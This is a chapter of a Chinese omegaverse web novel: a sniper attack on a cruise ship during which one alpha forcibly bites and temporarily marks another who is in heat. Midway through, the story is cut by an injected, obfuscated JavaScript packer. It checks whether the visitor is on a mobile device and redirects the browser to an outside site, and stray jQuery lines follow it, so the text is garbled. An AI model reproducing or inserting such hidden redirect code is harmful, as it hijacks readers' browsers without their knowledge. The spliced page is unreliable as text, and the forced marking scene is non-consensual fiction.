“……”
游轮一层的伯纳德整被及时赶到的保镖层层围住。
但这次袭击还是来得意外,他的右臂被子弹擦伤,鲜血正不听往外淌着,沾湿了衣袖,一滴一滴砸落在地面上。
“对方派了狙击手。”
汤齐眉快速部署着,因为摸不清狙击手的数量,他只能尽可能保证在场某些高层长官的安全,这类袭击对于他们而言并不陌生,几乎每年都会上演一回,而袭击的主导者则是某些被洗脑的恐怖分子,联邦中心近几年来也派遣了不少资金与人力对恐怖势力进行清剿活动,但谁知却是根深蒂固,蔓草难除。
混乱中,汤齐眉却瞥见一道高大挺拔的身影踩着阶梯走去了游轮的上层。
若是在甲板上,更容易成为那些疯子的活靶子,可此时汤齐眉顾不得那么多,他打开手机拨通电话。
纪谈强撑着走进了走廊拐角处的一个房间,几乎在关上门的瞬间,他就因为身体的发热无力,捂着腺体坐在地上低喘着。
极优性的不论是alpha还是omega,他们享受了本身对于普通ao群众的阶层碾压,同样也具备了某些方面的劣势,就如发情期的症状会比普通ao群众更加剧烈,发情热会在猝不及防间降临,在没有及时注射抑制剂的情况下很难保持清醒。
纪谈咬着舌尖力道过大,尝到了蔓延的血腥味,他撑起身体从地上站起来,一边喘气一边脱去外衣松开领带,他仍旧面无表情,但解领带的手指却克制不住地微微颤抖。
而几声巨响过后,眼前却突地陷入一片黑暗。
整艘游轮的供电系统被子弹击中,产生了故障,没了电力的支持,通体漆黑的游轮在暗涌不止的水面上停驻,然而这也导致了对面的狙击手找不到他们的袭击对象,他们被迫停止。
“各位不必惊慌,支援马上就到。”汤齐眉竭声说道。
黑暗中有不少人痛苦地捂着腺体,难以忍受地叫喊着。
“谁,谁的信息素收一收……”
“有人发情了!”
扶着一侧栏面色难看的澜山面色猛地一边,遭了。
二层的信息素浓度极高,浓郁到几乎带着侵略性的雪松木信息素在空气中缓缓蔓延,令原本闲庭信步的男人都微微蹙了下眉。
再不制止住,恐怕在场受到信息素波及范围内的人都要被迫发情。
骆义奎踏入纪谈所在的房间时,整个房间充斥着的高浓度信息素令他步伐微微一顿,呼吸的频率也跟着被打乱,他毕竟也是一名alpha,更何况不可否认的是,纪谈与他的信息素匹配率绝对不低。
“咔嚓。”
纪谈虽然游走在理智崩溃的边缘,但他仍然保持警惕,在alpha跨进这房间一步时他就已经觉察到,他垂眼脱下被汗湿的手套,从腰间摸出一把通体漆黑的手枪,子弹上膛,食指扣在扳机处,冰冷的枪口对准了直直朝自己走来的alpha。
“你以往见我唇枪舌剑也就算了,现在是来真枪了?”
骆义奎停在原地,即便是在眼前这种混乱的场景下,他依然能戏谑地出口嘲讽。
“是你。”纪谈才认出了离自己几步之遥的人,他轻描淡写地开口,像是受发情热困扰的人全然不是自己一般,“滚出去。”
“为什么不用抑制剂?”
“摔碎了。”
骆义奎难得见到纪谈的狼狈相,他好整以暇地盯着,正要再说什么,却见纪谈再度把枪口一抬,这次是直直瞄准了他的额心处。
“我说了,滚出去。”
在身体本就处在极度紧绷的情况下,对面还站着一名同等级别的alpha,纪谈持枪的手一直没放下过,因为他不知道放下后他还有没有力气举起来,他眼下的状态保持清醒已经是极度不易。
骆义奎盯着他那副高度警惕的模样,忍不住嗤笑一声,他吊儿郎当地举起两只手,正对着纪谈往后退了两步,纪谈一直冷冷地注视着他,在黑暗中辨别着脚步声,可正当他稍微松懈的瞬间,骆义奎嘴角微扬,趁其不备时猛然逼近。
而随着alpha的气息近在咫尺,纪谈感到腺体的热意像是被药物刺激了一般猛然翻涌,令他张开嘴,重重地喘了一声,蒸腾的水汽化为汗珠从脸颊边滴落,眼前朦胧了一刹,但纪谈很快逼迫自己回过神来。
然而已经来不及了,黑洞洞的枪口被一只有力的大掌给硬生生掰歪,朝向房间右上方的角落。
“砰!”
骆义奎一手抓着枪口,他轻飘飘地扫了眼房间墙壁被子弹射中的地方,冒出了一缕白烟,他也不再虚与委蛇下去,直接释放信息素,两股势均力敌的信息素瞬间在房间内互相压迫交缠,此时周围五米之内若有普通ao的存在,恐怕早已被铺天盖地的信息素给冲昏在地。
纪谈松了手,枪把在掌中一滑。
“!”骆义奎眉心蹙起,他握着纪谈手腕的五指猛地收紧,他没想到他还是低估了他和纪谈的信息素匹配率。
抑制剂恐怕也难以解决眼下的情况了。
骆义奎看着手中大口喘着气,已然失去神智的纪谈,一咬牙,另一只手掐住纪谈的腰部,猛地用力把人拉进怀里,两具发热的躯体相贴,骆义奎扣住纪谈的后领往下拉,露出一片白皙的肌肤,他低首埋在纪谈的后颈处,张嘴用力咬住了腺体,强制渡入自己的信息素。
“啊……”纪谈抓着骆义奎背部的五指狠狠掐入,他面色痛苦地呼吸着。
澜山匆匆赶到二层时,走廊的空气中都弥漫着高浓度的信息素,他咬牙为自己打了一针强效抑制剂后,才能正常在高阶的压迫下正常行走。
可当他猛地撞开信息素蔓延源头的房门,打开备用照射灯看清房间内的状况时,心下重重一沉,才知道自己来迟了一步。
房间内右侧本来放置有沉木置物架,架子上摆放着观赏品与纪念物,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775388|190286||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
此时已经因为外力的撞击而散落地一团乱,有些还碰落在地上被摔成了碎片,纪谈正衣冠不整地坐在置物架前的地面上,他面色极度阴沉,颈后的腺体处有明显的咬痕。
……临时标记。
澜山人生头一次悚然地杵在原地。
他脑袋中一瞬间空白一片,等到他稍微消化了下眼前的情况,这才注意到房间还有另外一个人的存在。
骆义奎唇角带血,他拿手背草草抹了一下,眉目浮起暴躁:“啧。”
“你打我?”
纪谈双眼冰冷,他垂在膝盖上的五指用力到泛白,“我杀了你。”
骆义奎抹了两下血抹不完,他撤了手,语调凉嗖嗖地说:“一个临时标记而已,没几天就自己消了,别整的我夺了你清白似的。”
纪谈被气得双眼发红。
澜山反应过来摸出手枪对着骆义奎,等待着纪谈出声令下,可这时走廊外传来脚步声,汤齐眉气喘吁吁地赶到,看到眼前僵着的气氛,他摆手试图让澜山先放下手枪。
“各位冷静一下,有事好好说,先别动手。”
“外面处理干净了吗?”骆义奎抱臂冷眼质问道。
“支援赶到,那些袭击的人潜逃了,我们会尽量派人抓捕。”
骆义奎忽然折了个话题:“骆飞扬人在哪?”
汤齐眉一愣,但他反应很迅速地摆正了面部表情,回道:“骆总,抱歉,您说的这个人是……?”
骆义奎似笑非笑地盯着他。
澜山目光紧盯他们二人,想从中摸查出蛛丝马迹,骆飞扬,既然姓骆肯定是骆家人,骆义奎突然跑来西部是为了来找人?
汤齐眉接着对纪谈鞠躬歉道:“纪会长,非常抱歉今晚发生的一系列意外,我联系的医师团队马上就到了,请您再稍等片刻。”
澜山放下手枪,快速走过去扶起纪谈,纪谈从置物架边捡起自己的外套披上,遮挡住后颈处的咬痕,发情热完全褪去后他显然镇定了下来,抬眼问汤齐眉:“伯纳德上校伤势如何?”
汤齐眉:“上校的伤口有点深,但好在只是皮外伤,等医疗团队来很快就能解决。”
这时骆义奎的手机嗡嗡振响,他拿出摁下接听键,电话那头是来报告的魏休。
“骆总,人找到了。”
汤齐眉注意到骆义奎挂断电话就要走,他眉心一跳伸手拦了下,“骆总也是远道而来,西部理应好好招待,我已经派人布点好飞鸿馆的招待厅,不如随我们一道去尝尝西部特有的美酒。”
骆义奎气质疏懒但很是压迫,他盯着汤齐眉玩味道:“不了,喝酒哪有捉老鼠有意思,你说是吧?”
汤齐眉僵了下,他很快侧开身,让骆义奎从他面前走过。
骆义奎临走前又意味不明地瞥了眼纪谈,他动作细微地舔舔唇瓣,不知为何觉得方才那一下浓烈到要浸入脾肺的雪松木的气味像烟草一样让人有点上瘾。